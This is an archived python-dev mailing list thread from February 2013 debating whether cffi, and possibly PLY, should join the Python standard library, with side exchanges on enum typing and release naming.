>>>> I would like to discuss on the language summit a potential inclusion
>>>> of cffi[1] into stdlib.
>>>
>>> The API in general looks nice, but I do have some concens w.r.t. including cffi in the stdlib.
>>>
>>> 1. Why is cffi completely separate from ctypes, instead of layered on top of it? That is, add a utility module to ctypes that can parse C declarations and generate the right ctypes definitions.
>>
>> Because ctypes API is a mess and magic. We needed a cleaner (and much
>> smaller) model.
>
> The major advantages of starting over is probably that you can hide the complexity and that opens opportunities for optimizations. That said, I'm not convinced that ctypes is unnecessarily complex.

I implemented ctypes. It is.

>>> 4. And finally a technical concern: how well does cffi work with fat binaries on OSX? In particular, will the distutils support generate cached data for all architectures supported by a fat binary?
>>
>> no idea.
>
> That's somehting that will have to be resolved before cffi can be included in the stdlib, fat binaries are supported by CPython and are used the binary installers.
>
> Ronald

if cpython supports it and you can load it using dlopen, it does work
then (it really is just building a C extension on the API level).

From dave at dabeaz.com  Wed Feb 27 12:00:17 2013
From: dave at dabeaz.com (David Beazley)
Date: Wed, 27 Feb 2013 05:00:17 -0600
Subject: [Python-Dev] PLY in stdlib (was cffi in stdlib)
In-Reply-To: <mailman.13132.1361899302.2938.python-dev@python.org>
References: <mailman.13132.1361899302.2938.python-dev@python.org>
Message-ID: <F6FAB3A2-6040-42CE-A4FA-93077756C2DC@dabeaz.com>

> 
> From: Eli Bendersky <eliben at gmail.com>
> 
> I'll be the first one to admit that pycparser is almost certainly not
> generally useful enough to be exposed in the stdlib. So just using it as an
> implementation detail is absolutely fine. PLY is a more interesting
> question, however, since PLY is somewhat more generally useful. That said,
> I see all this as implementation details that shouldn't distract us from
> the main point of whether cffi should be added.
> 

Regarding the inclusion of PLY or some subcomponent of it in the standard library, it's not an entirely crazy idea in my opinion.  LALR(1) parsers have been around for a long time, are generally known to anyone who's used yacc/bison, and would be useful outside the context of cffi or pycparser.  PLY has also been around for about 12 years and is what I would call stable.  It gets an update about every year or two, but that's about it.   PLY is also relatively small--just two files and about 4300 lines of code (much of which could probably be scaled down a bit).

The only downside to including PLY might be the fact that there are very few people walking around who've actually had to *implement* an LALR(1) parser generator.  Some of the code for that is extremely hairy and mathematical.   At this time, I don't think there are any bugs in it, but it's not the sort of thing that one wants to wander into casually.    Also, there are some horrible hacks in PLY that I'd really like to get rid of, but am currently stuck with due to backwards compatibility issues. 

Alex Gaynor has been working on a PLY variant (RPLY) geared at RPython and which has a slightly different programming interface.    I'd say if we were to go down this route, he and I should work together to put together some kind of more general "parsing.lalr" package (or similar) that  cleans it up and makes it more suitable as a library for building different kinds of parsing tools on top of. 

Cheers,
Dave


From fuzzyman at voidspace.org.uk  Wed Feb 27 12:16:12 2013
From: fuzzyman at voidspace.org.uk (Michael Foord)
Date: Wed, 27 Feb 2013 11:16:12 +0000
Subject: [Python-Dev] PLY in stdlib (was cffi in stdlib)
In-Reply-To: <F6FAB3A2-6040-42CE-A4FA-93077756C2DC@dabeaz.com>
References: <mailman.13132.1361899302.2938.python-dev@python.org>
	<F6FAB3A2-6040-42CE-A4FA-93077756C2DC@dabeaz.com>
Message-ID: <AC6A1BA1-3169-472C-BCB1-2C57A1CF3169@voidspace.org.uk>


On 27 Feb 2013, at 11:00, David Beazley <dave at dabeaz.com> wrote:

>> 
>> From: Eli Bendersky <eliben at gmail.com>
>> 
>> I'll be the first one to admit that pycparser is almost certainly not
>> generally useful enough to be exposed in the stdlib. So just using it as an
>> implementation detail is absolutely fine. PLY is a more interesting
>> question, however, since PLY is somewhat more generally useful. That said,
>> I see all this as implementation details that shouldn't distract us from
>> the main point of whether cffi should be added.
>> 
> 
> Regarding the inclusion of PLY or some subcomponent of it in the standard library, it's not an entirely crazy idea in my opinion.

+1 PLY is capable and well tried-and-tested. We used it in Resolver One to implement a pretty large grammar and it is (in my opinion) best of breed in the Python parser generator world. Being stable and widely used, with an "available maintainer", makes it an ideal candidate for standard library inclusion.

Michael

>  LALR(1) parsers have been around for a long time, are generally known to anyone who's used yacc/bison, and would be useful outside the context of cffi or pycparser.  PLY has also been around for about 12 years and is what I would call stable.  It gets an update about every year or two, but that's about it.   PLY is also relatively small--just two files and about 4300 lines of code (much of which could probably be scaled down a bit).
> 
> The only downside to including PLY might be the fact that there are very few people walking around who've actually had to *implement* an LALR(1) parser generator.  Some of the code for that is extremely hairy and mathematical.   At this time, I don't think there are any bugs in it, but it's not the sort of thing that one wants to wander into casually.    Also, there are some horrible hacks in PLY that I'd really like to get rid of, but am currently stuck with due to backwards compatibility issues. 
> 
> Alex Gaynor has been working on a PLY variant (RPLY) geared at RPython and which has a slightly different programming interface.    I'd say if we were to go down this route, he and I should work together to put together some kind of more general "parsing.lalr" package (or similar) that  cleans it up and makes it more suitable as a library for building different kinds of parsing tools on top of. 
> 
> Cheers,
> Dave
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/fuzzyman%40voidspace.org.uk


--
http://www.voidspace.org.uk/


May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing 
http://www.sqlite.org/different.html






From shibturn at gmail.com  Wed Feb 27 12:45:14 2013
From: shibturn at gmail.com (Richard Oudkerk)
Date: Wed, 27 Feb 2013 11:45:14 +0000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
Message-ID: <kgkrkh$e8b$1@ger.gmane.org>

On 27/02/2013 9:21am, Maciej Fijalkowski wrote:
>> >That's somehting that will have to be resolved before cffi can be included in the stdlib, fat binaries are supported by CPython and are used the binary installers.
>> >
>> >Ronald
> if cpython supports it and you can load it using dlopen, it does work
> then (it really is just building a C extension on the API level).

On Windows ctypes has CDLL for libraries using the cdecl calling 
convention and WINDLL for libraries with the stdcall calling convention.

I can't see any similar distinction in cffi's documentation.  Can cffi 
magically work out which calling convention to use, or are you 
restricted to the cdecl calling convention?

-- 
Richard


From fijall at gmail.com  Wed Feb 27 12:53:30 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 27 Feb 2013 13:53:30 +0200
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <kgkrkh$e8b$1@ger.gmane.org>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
Message-ID: <CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>

On Wed, Feb 27, 2013 at 1:45 PM, Richard Oudkerk <shibturn at gmail.com> wrote:
> On 27/02/2013 9:21am, Maciej Fijalkowski wrote:
>>>
>>> >That's somehting that will have to be resolved before cffi can be
>>> > included in the stdlib, fat binaries are supported by CPython and are used
>>> > the binary installers.
>>> >
>>> >Ronald
>>
>> if cpython supports it and you can load it using dlopen, it does work
>> then (it really is just building a C extension on the API level).
>
>
> On Windows ctypes has CDLL for libraries using the cdecl calling convention
> and WINDLL for libraries with the stdcall calling convention.
>
> I can't see any similar distinction in cffi's documentation.  Can cffi
> magically work out which calling convention to use, or are you restricted to
> the cdecl calling convention?

copy pasting from docs:

Windows: you can?t yet specify the calling convention of callbacks.
(For regular calls, the correct calling convention should be
automatically inferred by the C backend.) Use an indirection, like in
the example just above.

I think it means you can't use the ABI version and specify the calling
convention. It's a reasonable bug report (the calling convention on
API version works though)

>
> --
> Richard
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/fijall%40gmail.com

From ncoghlan at gmail.com  Wed Feb 27 13:39:30 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Wed, 27 Feb 2013 22:39:30 +1000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
Message-ID: <CADiSq7dsxsPQ-zQhEwOtxw2rak6yuZ2OMKWHRptpq=G9dxVuCQ@mail.gmail.com>

On Wed, Feb 27, 2013 at 7:06 PM, Maciej Fijalkowski <fijall at gmail.com> wrote:
>> 3. Cffi basicly contains a (limited) C parser, and those are notoriously hard to get exactly right. Luckily cffi only needs to interpret declarations and not the full language, but even so this can be a risk of subtle bugs.
>
> It seems to work.

C itself shouldn't be *too* bad - it's trying to parse C++ that is
truly insane (which is why Dave Beazley explicitly warned Maciej and
Armin away from that based on his experience with SWIG).

Looking at pycparsing more closely though, there may be a problem with
the C preprocessing step on Windows. While on Linux it uses the system
"cpp", for Windows it currently bundles a copy of the LCC
preprocessor, which may pose licensing challenges
(https://github.com/drh/lcc/blob/master/CPYRIGHT). However, this
concern may not be applicable to cffi: given cffi's requirement for a
full external C compiler to actually *create* the C extension modules
during development, and the ability to retrieve everything necessary
directly from the created C extension when no C compiler is available,
it seems there would be no reason to ever need the bundled C
preprocessor. So we simply don't ship it, and the LCC license becomes
irrelevant.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From fijall at gmail.com  Wed Feb 27 13:44:12 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 27 Feb 2013 14:44:12 +0200
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CADiSq7dsxsPQ-zQhEwOtxw2rak6yuZ2OMKWHRptpq=G9dxVuCQ@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<CADiSq7dsxsPQ-zQhEwOtxw2rak6yuZ2OMKWHRptpq=G9dxVuCQ@mail.gmail.com>
Message-ID: <CAK5idxSpm5JvaLQS+8JuvPVegU7BaeUWwhgkMidNXMLiqupfMw@mail.gmail.com>

On Wed, Feb 27, 2013 at 2:39 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> On Wed, Feb 27, 2013 at 7:06 PM, Maciej Fijalkowski <fijall at gmail.com> wrote:
>>> 3. Cffi basicly contains a (limited) C parser, and those are notoriously hard to get exactly right. Luckily cffi only needs to interpret declarations and not the full language, but even so this can be a risk of subtle bugs.
>>
>> It seems to work.
>
> C itself shouldn't be *too* bad - it's trying to parse C++ that is
> truly insane (which is why Dave Beazley explicitly warned Maciej and
> Armin away from that based on his experience with SWIG).
>
> Looking at pycparsing more closely though, there may be a problem with
> the C preprocessing step on Windows. While on Linux it uses the system
> "cpp", for Windows it currently bundles a copy of the LCC
> preprocessor, which may pose licensing challenges
> (https://github.com/drh/lcc/blob/master/CPYRIGHT). However, this
> concern may not be applicable to cffi: given cffi's requirement for a
> full external C compiler to actually *create* the C extension modules
> during development, and the ability to retrieve everything necessary
> directly from the created C extension when no C compiler is available,
> it seems there would be no reason to ever need the bundled C
> preprocessor. So we simply don't ship it, and the LCC license becomes
> irrelevant.
>
> Cheers,
> Nick.
>
> --
> Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

cffi does not use preprocessor

From ncoghlan at gmail.com  Wed Feb 27 14:24:09 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Wed, 27 Feb 2013 23:24:09 +1000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxRefe+0S45d6es6uQj8JX_5z0YGdrFWxXQT7hqoE7YthQ@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CAF-Rda8krMYuaV-5VDezW5ZiL_O-jEOB1Db9txAQF1XSpDNzpA@mail.gmail.com>
	<CAK5idxRefe+0S45d6es6uQj8JX_5z0YGdrFWxXQT7hqoE7YthQ@mail.gmail.com>
Message-ID: <CADiSq7eKPuOgHOG9_k7VHHpZTgeihzAsg+27T38==2N24_xO4A@mail.gmail.com>

On Wed, Feb 27, 2013 at 7:00 PM, Maciej Fijalkowski <fijall at gmail.com> wrote:
> On Wed, Feb 27, 2013 at 6:53 AM, Eli Bendersky <eliben at gmail.com> wrote:
>> 2. Using a function called "verify" to create stuff. This may sound like a
>> naming bikeshed, but it's not. It ties in to the question - why is this
>> needed?
>
> We welcome a better opinion of name (indeed verify is not that great).
> This elevates ABI to API so either invokes the C compiler or reads
> stuff from the cache.

Have you considered the name "create_api"? After all, you're
essentially creating a Python API given a C header declaration and a
specified extension module to cache the result.

The details on extension module caching, and the fact that it won't
even look for a C compiler if the extension module is already
available should also be in the main section of the docs on the
verification step rather than only being down in the internal
documentation for cffi.verifier.Verifier

Cheers,
Nick.

P.S. I created both of those as tracker issues:
- https://bitbucket.org/cffi/cffi/issue/59/missing-content-in-cffiverify
- https://bitbucket.org/cffi/cffi/issue/60/proposed-rename-for-verify-and-verifier



-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From solipsis at pitrou.net  Wed Feb 27 14:31:41 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 27 Feb 2013 14:31:41 +0100
Subject: [Python-Dev] cffi in stdlib
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
	<20130226190620.1FF24250BDA@webabinitio.net>
	<CAP7+vJ+QH0k1XU+CUL1bJrjgN=z9AkLPYiFLS67YOp7kYhtd5g@mail.gmail.com>
	<CAP1=2W5+qVFEFcJ2DMoy6T+cx_acmWLWMrvbPu=0qJHqDFP5cg@mail.gmail.com>
	<20130226202153.2b923404@pitrou.net>
	<512D41F9.3050109@canterbury.ac.nz>
Message-ID: <20130227143141.4aef5635@pitrou.net>

Le Wed, 27 Feb 2013 12:15:05 +1300,
Greg Ewing <greg.ewing at canterbury.ac.nz> a ?crit :
> Antoine Pitrou wrote:
> > Or we'll go straight to 5.
> > (or switch to date-based numbering :-))
> 
> We could go the Apple route and start naming them after
> species of snake.

We have to find sufficiently silly species of snakes, though.

Regards

Antoine.



From solipsis at pitrou.net  Wed Feb 27 14:30:01 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 27 Feb 2013 14:30:01 +0100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512C5BF7.9090803@stoneleaf.us>
	<87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512CDCDC.2090509@stoneleaf.us>
	<20130226201757.535abe3e@pitrou.net>
	<87ip5e2zxs.fsf@uwakimon.sk.tsukuba.ac.jp>
Message-ID: <20130227143001.3cfce13a@pitrou.net>

Le Wed, 27 Feb 2013 12:33:35 +0900,
"Stephen J. Turnbull" <stephen at xemacs.org> a ?crit :
> 
> As far as I can see, what you (Antoine) want is an identifier with a
> constant value, no more and no less.  Grouping into an enum is merely
> a lexical convention, since you are happy to compare enums of
> different enum classes and enums with ints.
> 
> I think such a thing is pretty generally desirable, but most of the
> people who have created Enum classes implement some type-checking that
> this value came from that Enum.  To me that is what differentiates an
> enumerated constant from a generic named constant.  I don't see why
> you keep deprecating that feature.  Do you really think it's useless,
> or is it just that you wouldn't use it yourself?

I just wouldn't care for it myself. I don't think extra-strong typing
of constants is really useful in practice; it smells a bit like private
methods to me.

Regards

Antoine.



From python-dev at masklinn.net  Wed Feb 27 14:40:44 2013
From: python-dev at masklinn.net (Xavier Morel)
Date: Wed, 27 Feb 2013 14:40:44 +0100
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <20130227143141.4aef5635@pitrou.net>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
	<20130226190620.1FF24250BDA@webabinitio.net>
	<CAP7+vJ+QH0k1XU+CUL1bJrjgN=z9AkLPYiFLS67YOp7kYhtd5g@mail.gmail.com>
	<CAP1=2W5+qVFEFcJ2DMoy6T+cx_acmWLWMrvbPu=0qJHqDFP5cg@mail.gmail.com>
	<20130226202153.2b923404@pitrou.net>
	<512D41F9.3050109@canterbury.ac.nz>
	<20130227143141.4aef5635@pitrou.net>
Message-ID: <45EACC3C-0AA4-40D2-AA7E-818878800770@masklinn.net>

On 2013-02-27, at 14:31 , Antoine Pitrou wrote:

> Le Wed, 27 Feb 2013 12:15:05 +1300,
> Greg Ewing <greg.ewing at canterbury.ac.nz> a ?crit :
>> Antoine Pitrou wrote:
>>> Or we'll go straight to 5.
>>> (or switch to date-based numbering :-))
>> 
>> We could go the Apple route and start naming them after
>> species of snake.
> 
> We have to find sufficiently silly species of snakes, though.

With about 3000 extant snake species, that should be manageable.

From jsbueno at python.org.br  Wed Feb 27 14:41:27 2013
From: jsbueno at python.org.br (Joao S. O. Bueno)
Date: Wed, 27 Feb 2013 10:41:27 -0300
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <20130227143141.4aef5635@pitrou.net>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
	<20130226190620.1FF24250BDA@webabinitio.net>
	<CAP7+vJ+QH0k1XU+CUL1bJrjgN=z9AkLPYiFLS67YOp7kYhtd5g@mail.gmail.com>
	<CAP1=2W5+qVFEFcJ2DMoy6T+cx_acmWLWMrvbPu=0qJHqDFP5cg@mail.gmail.com>
	<20130226202153.2b923404@pitrou.net>
	<512D41F9.3050109@canterbury.ac.nz>
	<20130227143141.4aef5635@pitrou.net>
Message-ID: <CAH0mxTRQ9ZeG3Z5mpssGGgbPRkUhFnYiJpp04rkUxJRPcfK2iA@mail.gmail.com>

On 27 February 2013 10:31, Antoine Pitrou <solipsis at pitrou.net> wrote:

> Le Wed, 27 Feb 2013 12:15:05 +1300,
> Greg Ewing <greg.ewing at canterbury.ac.nz> a ?crit :
> > Antoine Pitrou wrote:
> > > Or we'll go straight to 5.
> > > (or switch to date-based numbering :-))
> >
> > We could go the Apple route and start naming them after
> > species of snake.
>
> We have to find sufficiently silly species of snakes, though.
>

Monty Python feature movies.
There are less than snake species, but imagine porting
Django to be able to run on Life of Brian!

>
> Regards
>
> Antoine.
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/jsbueno%40python.org.br
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130227/11e212c6/attachment-0001.html>

From arigo at tunes.org  Wed Feb 27 14:52:34 2013
From: arigo at tunes.org (Armin Rigo)
Date: Wed, 27 Feb 2013 14:52:34 +0100
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAP7+vJJ8k0SUJY7aX3wqaHD+jaYPw_mi3QyMXB-k3ayJY5G=Zw@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
	<CAF-Rda8tsZ85cQK+NoPGf0cPk5C_y6=_Ma0=psaG27ieNCbCUQ@mail.gmail.com>
	<CACac1F_B5CrMwx60G68UFONEJSCgnEiE-MYDRtgE==H4GEaaaQ@mail.gmail.com>
	<20130226190620.1FF24250BDA@webabinitio.net>
	<CAP7+vJ+QH0k1XU+CUL1bJrjgN=z9AkLPYiFLS67YOp7kYhtd5g@mail.gmail.com>
	<CAP1=2W5+qVFEFcJ2DMoy6T+cx_acmWLWMrvbPu=0qJHqDFP5cg@mail.gmail.com>
	<CAP7+vJJ8k0SUJY7aX3wqaHD+jaYPw_mi3QyMXB-k3ayJY5G=Zw@mail.gmail.com>
Message-ID: <CAMSv6X3NT0e22ZPKEx3SOs4ZesdrVz90GoA5wtfdXB5U2b-P3w@mail.gmail.com>

Hi Guido,

On Tue, Feb 26, 2013 at 8:24 PM, Guido van Rossum <guido at python.org> wrote:
> From a software engineering perspective, 10 years is indistinguishable
> from infinity, so I don't care what happens 10 years from now -- as
> long as you don't blame me. :-)

I can't resist: around today it is the 10th anniversary of PyPy.  :-)


A bient?t,

Armin.

From fred at fdrake.net  Wed Feb 27 14:56:35 2013
From: fred at fdrake.net (Fred Drake)
Date: Wed, 27 Feb 2013 08:56:35 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130227143001.3cfce13a@pitrou.net>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512C5BF7.9090803@stoneleaf.us>
	<87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512CDCDC.2090509@stoneleaf.us> <20130226201757.535abe3e@pitrou.net>
	<87ip5e2zxs.fsf@uwakimon.sk.tsukuba.ac.jp>
	<20130227143001.3cfce13a@pitrou.net>
Message-ID: <CAFT4OTHvb0P2BdxgMdjK-h8pUOHxr=6ZTcWS4HF0K4q1a-EM3A@mail.gmail.com>

On Wed, Feb 27, 2013 at 8:30 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> I don't think extra-strong typing of constants is really useful in
> practice; it smells a bit like private methods to me.

I think checking that a value comes from a particular enum *is* a degree of
hand-holding.  For libraries or frameworks whose users aren't expected to
know them exhaustively, making reasonable checks of parameters can
substantially reduce the number of ways it can be used incorrectly.  Outside
performance critical code, this is a win.


  -Fred

-- 
Fred L. Drake, Jr.    <fred at fdrake.net>
"A storm broke loose in my mind."  --Albert Einstein

From eliben at gmail.com  Wed Feb 27 16:50:18 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Wed, 27 Feb 2013 07:50:18 -0800
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
Message-ID: <CAF-Rda9GamzxScF6SXcmyJKFTn0h3fj4=0MeiAvFNY26NYDmAw@mail.gmail.com>

On Tue, Feb 26, 2013 at 11:29 PM, Ronald Oussoren <ronaldoussoren at mac.com>wrote:

>
> On 26 Feb, 2013, at 16:13, Maciej Fijalkowski <fijall at gmail.com> wrote:
>
> > Hello.
> >
> > I would like to discuss on the language summit a potential inclusion
> > of cffi[1] into stdlib.
>
> The API in general looks nice, but I do have some concens w.r.t. including
> cffi in the stdlib.
>
> 1. Why is cffi completely separate from ctypes, instead of layered on top
> of it? That is, add a utility module to ctypes that can parse C
> declarations and generate the right ctypes definitions.
>
> 2. Cffi has a dependencies on pycparser and that module and its
> dependencies would therefore also be added to the stdlib (even if they'd be
> hidden in the cffi package)
>
> 3. Cffi basicly contains a (limited) C parser, and those are notoriously
> hard to get exactly right. Luckily cffi only needs to interpret
> declarations and not the full language, but even so this can be a risk of
> subtle bugs.
>

pycparser has been around for more than 4 years and is pretty stable. I
know that it's been used to parse Windows headers, Linux system headers and
other "scary" things for a C parser to handle. It's only known problem has
to do with over-creative abuses of C's context sensitivity:
http://eli.thegreenplace.net/2011/05/02/the-context-sensitivity-of-c%E2%80%99s-grammar-revisited/

In practice it doesn't come up often, and almost never in declarations,
which is the subset cffi uses pycparser for.

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130227/79ccbfc6/attachment.html>

From eliben at gmail.com  Wed Feb 27 16:57:15 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Wed, 27 Feb 2013 07:57:15 -0800
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxRefe+0S45d6es6uQj8JX_5z0YGdrFWxXQT7hqoE7YthQ@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CAF-Rda8krMYuaV-5VDezW5ZiL_O-jEOB1Db9txAQF1XSpDNzpA@mail.gmail.com>
	<CAK5idxRefe+0S45d6es6uQj8JX_5z0YGdrFWxXQT7hqoE7YthQ@mail.gmail.com>
Message-ID: <CAF-Rda-=yAcKGaQrefZX8YgK6hg=PQHR2TYi4xghg2W3tAfJBw@mail.gmail.com>

> > I read the cffi docs once again and went through some of the examples. I
> > want to divide this to two topics.
> >
> > One is what you call the "ABI" level. IMHO, it's hands down superior to
> > ctypes. Your readdir demo demonstrates this very nicely. I would
> definitely
> > want to see this in the stdlib as an alternative way to interface to C
> > shared objects & DLLs.
> >
> > Two is what you call the "API" level, which is where my opinion becomes
> > mixed. Some things just don't feel right to me:
> >
> > 1. Tying in a C compiler into the flow of a program. I'm not sure
> whether we
> > have precedents for it in the stdlib. Does this work on Windows where
> > libraries and DLLs are usually built with MSVC?
> >
>
> Yes. Precedent in the stdlib is really the C API. All the same rules
> apply (including build and ship a dll).
>

So would you say that the main use of the API level is provide an
alternative for writing C API code to interface to C libraries. IOW, it's
in competition with Swig?


>
> > 2. Using a function called "verify" to create stuff. This may sound like
> a
> > naming bikeshed, but it's not. It ties in to the question - why is this
> > needed?
>
> We welcome a better opinion of name (indeed verify is not that great).
> This elevates ABI to API so either invokes the C compiler or reads
> stuff from the cache.
>

Can you elaborate on what "elevates ABI to API" means here?


> > 3. The partial type specifications in C with ellipsis. What is the point?
> > You have the C declarations somewhere anyhow, so why introduce this? The
> > "ABI level" boasts having just C and Python to write, but those partial
> > ellipsis-ridden declarations are hardly C.
>
> No, you don't. Some libraries contain macros for example (like
> OpenSSL) where you just can't use ABI because it makes no sense. It's
> less common on windows where binary compatibility is important,
> however looking on linux, multiple stdlib declaration would use
> ellipsis in the man page.


It would be useful to find an actual example and discuss it concretely.


> I can't seem to find one right now, but it's
> something like:
>
> struct X {
>    int public_field;
>    ...
> }
>
> which is impossible to do correctly with ctypes without exposing some
> sort of platform dependency that might change without warning.
>
> Another usages are #define SQLITE_OK ... which you don't know at the
> time of writing (people assume those won't change and the do change).
>

Do you mean that the value of SQLITE_OK changed over time (now it's 0, but
used to be different?)

If so, then in a realistic use case, how would the API level help solve
this?

